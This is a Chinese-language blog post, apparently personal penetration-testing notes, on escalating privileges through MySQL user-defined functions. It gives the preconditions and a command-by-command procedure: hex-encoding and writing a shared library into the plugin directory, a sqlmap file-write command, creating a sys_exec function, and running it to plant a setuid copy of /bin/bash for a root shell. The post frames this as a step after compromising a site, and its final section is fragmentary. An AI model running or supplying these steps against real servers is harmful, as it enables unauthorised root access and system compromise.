udf提权

原理

UDF:User Define Function

在dll文件中添加自定义函数,这些函数可以在mysql查询的时候使用,拓展了功能。一般后缀为.dll,由c、c++编写

为什么udf可以提权? 攻击者通过编写cmd或者shell的udf.dll文件,并导入到一个指定的文件夹目录下,创建一个指向udf.dll的自定义函数,从而在数据库中的查询就等价于cmd或者shell中执行命令

MSF中提供lib_mysqludf_sys_64.dll,在/usr/share/metasploit-framework/data/exploits/mysql/单独获取文件

MySQL系统变量信息:

  • @@version_compile_os 返回mysql服务器是在什么操作系统环境下编译的
  • @@version_compile_machine 返回mysql服务器是在什么硬件架构上编译的,比如x86_64
  • @@basedir mysql安装的根目录
  • @@plugin_dir 插件文件夹

我们的udf.dll文件上传到哪里?看mysql的版本

  • 5.0.67以前,文件必须放在系统能够找得到的动态链接文件的目录中(默认搜索路径是/lib/usr/lib
    • @@datadir
    • @@basedir\bin
    • C:\windows
    • C:\windows\system
    • C:\windows\system32
  • 5.0.67之后,UDF文件必须放在plugin目录下
    • show variables like '%plugin%'; ps:在mysql语句中要用到Windows路径的话,是../../../格式而不是\..\..\

提权条件:

  • 拥有mysql用户账号密码,可以create、insert、delete来创建使用函数,最好是root。有时候我们打进一个站之后,找到其中的配置文件,能查看到一些信息。
  • secure_file_priv 为空,这个权限会限制类似:load data, select into outfile, load_file() 等操作。
  • mysql是root用户运行的

获取udf.dll十六进制的值

为什么要这样做? 之后需要以hex方式直接上传udf.dll文件到mysql检索目录中

如何做?

1
select hex(load_file('/tmp/udf.so')) into dumpfile '/tmp/udf.txt';

ps:权限问题 pps:outfiledumpfile 的区别在于前者导出文本文件,后者导出二进制文件

提权原理

在udf文件中自定义一些能够以高权限执行系统命令的函数,然后将该函数导入mysql数据库中,通过mysql数据库去以高权限执行系统命令,从而提权

提权,启动

手动操作

打之前先看看mysql能用哪些函数

1
select * from mysql.func;

1、 查看版本信息和编译环境信息,判断写入文件是否存在限制

1
2
3
select @@version;
show variables like '%compile%';
show global variables like '%secure%';

2、上传dll或者so到数据库能访问的路径下【写入动态链接库】 法一:webshell上传

法二:hex直接上传

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
1)新建表udftmp,存放udf文件内容
mysql>use mysql;         //先切换到mysql数据库
mysql>create table udftmp(c LONGBLOB);
//创建一个表取名为udftmp,列名为c,LONGBLOB是 MySQL 中用于存储大量二进制数据的数据类型。它可以存储最大长度为 4GB 的二进制数据。

2)在udftmp中写入udf文件的十六进制内容
insert into udftmp values(unhex('这里放入udf.so的十六进制代码')); 

3)将内容写入文件夹下
select c from udftmp into dumpfile '/PATH/udf.so';

法三:sqlmap写入 SQL 注入且是高权限,plugin 目录可写且需要 secure_file_priv 无限制,MySQL 插件目录可以被 MySQL 用户写入,这个时候就可以直接使用 sqlmap 来上传动态链接库,又因为 GET 有字节长度限制,所以往往POST注入才可以执行这种攻击

1
sqlmap -d "mysql://root:@192.168.6.111:3306/mysql" --file-write=/tmp/lib_mysqludf_sys_32.so --file-dest=/usr/lib/udf.so

3、创建函数

1
2
create function sys_exec returns string soname 'udf.so';
// 函数的实现是通过共享库提供的,Shared Object Name

4、通过函数进行提权

1
select sys_exec('cp /bin/bash /tmp; chmod +xs /tmp/bash');

5、然后退出mysql,到普通用户shell里,执行/tmp/bash -p

  • -p 如果shell以有效用户(组)id不等于实际用户(组)id的方式启动,并且没有提供-p选项,则不会读取启动文件。使用-p参数让启动bash以有效用户的身份创建SHELL,达到提权的目的。

exp直接打

当有了mysql的用户之后,就应该想到能否进行udf提权,udf提权是一个比较程序化的事

-m 下载下来查看内容 用法告诉我们编译时候指定的参数

Licensed under CC BY-NC-SA 4.0
使用 Hugo 构建
主题 StackJimmy 设计
本博客已稳定运行